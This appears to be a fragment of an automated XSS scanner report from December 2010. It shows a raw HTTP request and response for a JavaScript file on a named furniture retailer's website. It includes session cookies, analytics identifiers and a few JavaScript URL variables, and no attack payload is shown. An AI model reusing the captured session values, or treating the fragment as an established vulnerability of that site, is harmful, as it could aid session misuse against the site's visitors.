GET /js/merc_common.php HTTP/1.1 Host: www.hertzfurniture.com Proxy-Connection: keep-alive Referer: http://www.hertzfurniture.com/LAN-Stations--LANetwork-Server-Station-with-Casters--6236--mo.html?utm_content=GLN-240C&utm_medium=shoppingengine&utm_source=become Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SN49ef2d0a88e46=okeptf6e5bqia83rscerlcolt7; DOASERVER=15; __utmz=1.1293335042.1.1.utmcsr=become|utmccn=(not%20set)|utmcmd=shoppingengine|utmcct=GLN-240C; __utma=1.2043058906.1293335042.1293335042.1293335042.1; __utmc=1; __utmv=1.|3=FT=!!!!=1,; __utmb=1.1.10.1293335042
Response
HTTP/1.1 200 OK Server: nginx/0.8.53 Date: Sun, 26 Dec 2010 03:48:49 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.1.6 Cache-Control: public Content-Length: 11328
var _urlModifyHistory = "/mercado/hf_mod_history.php"; var _urlCompare = "/mercado/compare.php"; var _urlUpdate = "/mercado/update_prefs.php"; var _urlProduct = "/mercado/notify_event.php";
// ...[SNIP]...
Report generated by XSS.CX at Mon Dec 27 10:25:49 CST 2010.